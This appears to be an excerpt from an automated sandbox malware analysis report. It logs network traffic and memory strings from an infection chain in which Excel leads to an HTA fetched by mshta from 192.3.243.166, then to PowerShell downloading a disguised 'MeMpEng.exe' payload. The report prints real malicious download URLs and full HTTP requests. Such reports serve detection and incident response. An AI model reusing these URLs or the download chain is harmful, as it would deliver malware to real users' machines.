Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.166
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_000007FE898A7018 URLDownloadToFileW, 7_2_000007FE898A7018
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\ECB6B4E1.emf Jump to behavior
Source: global traffic HTTP traffic detected: GET /6XcI3x HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: zhort.deConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /6XcI3x HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: zhort.deConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /6XcI3x HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: zhort.deConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /6XcI3x HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: zhort.deConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/vcc/ideanetowroking.hta HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.243.166Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/vcc/ideanetowroking.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 192.3.243.166If-Range: "1cadc-620a14e9cef29"
Source: global traffic HTTP traffic detected: GET /340/MeMpEng.exe HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.243.166Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/vcc/ideanetowroking.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Tue, 27 Aug 2024 02:50:40 GMTConnection: Keep-AliveHost: 192.3.243.166If-None-Match: "1cadc-620a14e9cef29"
Source: mshta.exe, 00000004.00000003.406480002.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003352000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: zhort.de
Source: mshta.exe, 00000004.00000003.406480002.0000000003384000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003384000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003384000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Http://192.3.243.166/xampp/vcc/ideanetowroking.htaA
Source: mshta.exe, 00000004.00000003.405684824.0000000003384000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Http://192.3.243.166/xampp/vcc/ideanetowroking.htaf
Source: mshta.exe, 0000000C.00000003.460855447.000000000468E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.000000000468E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.000000000468E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/
Source: mshta.exe, 00000004.00000002.407362361.00000000033A6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.00000000033A6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406480002.00000000033A6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.00000000033A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166//
Source: mshta.exe, 00000004.00000002.407362361.00000000033A6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.00000000033A6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406480002.00000000033A6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.00000000033A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/3
Source: powershell.exe, 00000007.00000002.426492015.0000000002DE3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.470282539.0000000002672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/340/MeMpEng
Source: powershell.exe, 00000010.00000002.470282539.0000000002672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/340/MeMpEng.exe
Source: powershell.exe, 00000007.00000002.426492015.0000000002DE3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/340/MeMpEng.exeU/
Source: powershell.exe, 00000007.00000002.426492015.0000000002DE3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.470282539.0000000002672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/340/MeMpEng.exep
Source: powershell.exe, 00000007.00000002.428803298.000000001A875000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/340/MeMpEng.exes
Source: powershell.exe, 00000010.00000002.483569421.000000001AE6F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/340/MeMpEng.exesAM
Source: powershell.exe, 00000010.00000002.483569421.000000001AE6F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/340/MeMpEng.exesNMicro#z
Source: mshta.exe, 0000000C.00000002.461175381.00000000004AE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/xampp/vcc/ideanetowroking.hta
Source: mshta.exe, 00000004.00000003.406507991.0000000000111000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405709089.0000000000128000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406249616.0000000000111000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407210728.0000000000111000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406947877.0000000000111000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/xampp/vcc/ideanetowroking.hta$
Source: mshta.exe, 00000004.00000003.406480002.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003352000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/xampp/vcc/ideanetowroking.hta...
Source: mshta.exe, 00000004.00000003.406480002.0000000003384000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003384000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003384000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003384000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/xampp/vcc/ideanetowroking.hta7
Source: mshta.exe, 00000004.00000003.405684824.0000000003384000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/xampp/vcc/ideanetowroking.htaA
Source: mshta.exe, 0000000C.00000003.460892429.0000000004679000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.0000000004679000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.0000000004679000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461457763.0000000004679000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/xampp/vcc/ideanetowroking.htaV.
Source: mshta.exe, 00000004.00000003.405684824.0000000003384000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/xampp/vcc/ideanetowroking.htaZ
Source: mshta.exe, 0000000C.00000003.458342798.00000000004AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460919609.00000000004AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461175381.00000000004AE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/xampp/vcc/ideanetowroking.htab
Source: mshta.exe, 00000004.00000003.406772799.0000000002525000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.456153015.00000000034F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/xampp/vcc/ideanetowroking.htahttp://192.3.243.166/xampp/vcc/ideanetowroking.hta
Source: mshta.exe, 00000004.00000003.406480002.0000000003384000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003384000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003384000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003384000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.000000000468E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.000000000468E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.000000000468E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/xampp/vcc/ideanetowroking.htaings
Source: mshta.exe, 00000004.00000003.405684824.0000000003384000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/xampp/vcc/ideanetowroking.htase
Source: mshta.exe, 0000000C.00000003.458342798.00000000004AE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.166/xampp/vcc/ideanetowroking.htattC:
Source: mshta.exe, 00000004.00000003.406480002.0000000003384000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003384000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003384000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003384000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.429105773.000000001C315000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460892429.0000000004679000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.0000000004679000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.0000000004679000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461457763.0000000004679000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: mshta.exe, 00000004.00000003.406480002.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003352000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.429105773.000000001C2A9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.429105773.000000001C315000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461450253.000000000462D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.000000000462C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.0000000004650000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.000000000464F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461457763.0000000004651000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.000000000464C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: mshta.exe, 00000004.00000003.406480002.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003352000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.428803298.000000001A7B4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.0000000004650000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.000000000464F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461457763.0000000004651000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.000000000464C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: mshta.exe, 00000004.00000003.405684824.0000000003379000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406480002.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003379000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003352000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.429105773.000000001C315000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461450253.000000000462D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.000000000462C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.0000000004650000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.000000000464F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461457763.0000000004651000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.000000000464C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: mshta.exe, 00000004.00000003.406480002.0000000003384000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003384000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003384000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003384000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.428803298.000000001A875000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.0000000004650000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.000000000464F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461457763.0000000004651000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.000000000464C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mshta.exe, 00000004.00000003.406480002.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003352000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.429105773.000000001C315000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.0000000004650000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.000000000464F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461457763.0000000004651000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.000000000464C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: mshta.exe, 00000004.00000003.406480002.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003352000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.429105773.000000001C315000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.0000000004650000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.000000000464F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461457763.0000000004651000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.000000000464C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000007.00000002.426492015.000000000277F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://go.micros
Source: MeMpEng.exe, 0000000B.00000002.836026835.000000000040A000.00000004.00000001.01000000.0000000A.sdmp, MeMpEng.exe, 0000000B.00000000.426144572.000000000040A000.00000008.00000001.01000000.0000000A.sdmp, MeMpEng.exe, 00000014.00000000.467976548.000000000040A000.00000008.00000001.01000000.0000000A.sdmp, MeMpEng.exe, 00000014.00000002.502162914.000000000040A000.00000004.00000001.01000000.0000000A.sdmp, MeMpEng.exe.7.dr, MeMpEng[1].exe.7.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000007.00000002.428470828.00000000122F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: mshta.exe, 00000004.00000003.406480002.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003352000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.429105773.000000001C315000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.0000000004650000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.000000000464F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461457763.0000000004651000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.000000000464C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: mshta.exe, 00000004.00000003.406480002.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003352000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.429105773.000000001C315000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461450253.000000000462D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.000000000462C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: mshta.exe, 00000004.00000003.406480002.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003352000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.429105773.000000001C315000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.0000000004650000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.000000000464F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461457763.0000000004651000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.000000000464C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: mshta.exe, 00000004.00000003.406480002.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003352000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.429105773.000000001C315000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461450253.000000000462D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.000000000462C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.0000000004650000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.000000000464F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461457763.0000000004651000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.000000000464C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: mshta.exe, 00000004.00000003.406480002.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003352000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.429105773.000000001C2A9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461450253.000000000462D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.000000000462C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: mshta.exe, 00000004.00000003.405684824.0000000003379000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406480002.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003379000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003352000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.429105773.000000001C315000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461450253.000000000462D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.000000000462C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.0000000004650000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.000000000464F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461457763.0000000004651000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.000000000464C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: mshta.exe, 00000004.00000003.406480002.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003352000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.428803298.000000001A7B4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.0000000004650000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.000000000464F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461457763.0000000004651000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.000000000464C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000007.00000002.426492015.00000000022C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.470282539.0000000002471000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: mshta.exe, 00000004.00000003.406480002.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003352000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.428803298.000000001A7B4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.0000000004650000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.000000000464F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461457763.0000000004651000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.000000000464C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
